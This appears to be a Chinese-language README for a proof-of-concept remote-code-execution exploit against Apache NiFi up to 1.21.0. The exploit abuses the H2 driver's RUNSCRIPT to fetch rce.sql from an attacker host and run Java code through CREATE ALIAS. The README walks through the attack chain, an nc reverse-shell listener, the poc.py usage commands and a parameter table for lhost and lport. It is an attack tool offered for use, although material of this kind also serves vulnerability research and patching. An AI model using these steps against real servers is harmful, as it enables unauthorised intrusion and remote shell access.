Apache NiFi <= 1.21.0 中通过 H2 数据库 RUNSCRIPT 实现远程代码执行
Apache NiFi 默认捆绑了 H2 数据库 JAR。DBCPConnectionPool 控制器服务可配置为使用该 H2 驱动。H2 支持 RUNSCRIPT 语句,该语句会从远程 URL 获取并执行 SQL 文件。该 SQL 文件可通过 CREATE ALIAS 定义任意 Java 代码,并在服务器操作系统上执行。
攻击链:
DBCPConnectionPool (H2 driver)
→ ExecuteSQL processor
→ RUNSCRIPT FROM http://attacker/rce.sql
→ CREATE ALIAS (Java method)
→ CALL SHELLEXEC (reverse shell)
| 软件 | 版本 |
|---|---|
| Apache NiFi | <= 1.21.0 |
| 修复版本 | 1.21.1+ |
| Java | 任意(自带) |
requests 库 → pip install requestspython3 poc.py --target http://NiFi.target.com \
--lhost 10.10.10.10 \
--lport 4444 \
--http-port 80 \
--cleanup
终端 1 — 监听器:
nc -lvnp 4444
终端 2 — 利用:
python3 poc.py --target http://NiFi.target.com --lhost 10.10.10.10 --lport 4444 --cleanup
Step 1 检查匿名访问和写入权限
Step 2 获取根 Process Group ID
Step 3 创建恶意的 DBCPConnectionPool 控制器服务
Step 4 启用控制器服务(处理修订版本控制)
Step 5 创建指向我们 HTTP 服务器上 rce.sql 的 ExecuteSQL 处理器
Step 6 启动处理器 → NiFi 获取 rce.sql → shell 回调
Step 7 清理(如果设置了 --cleanup 标志)
| 参数 | 默认值 | 说明 |
|---|
--target | http://NiFi.target.com | 目标 NiFi 基础 URL |
--lhost | 10.10.10.10 | 你的 IP(tun0) |
--lport | 4444 | 反弹 shell 监听端口 |
--http-port | 80 | 用于提供 rce.sql 的端口 |
--cleanup | False | 运行后删除创建的工件 |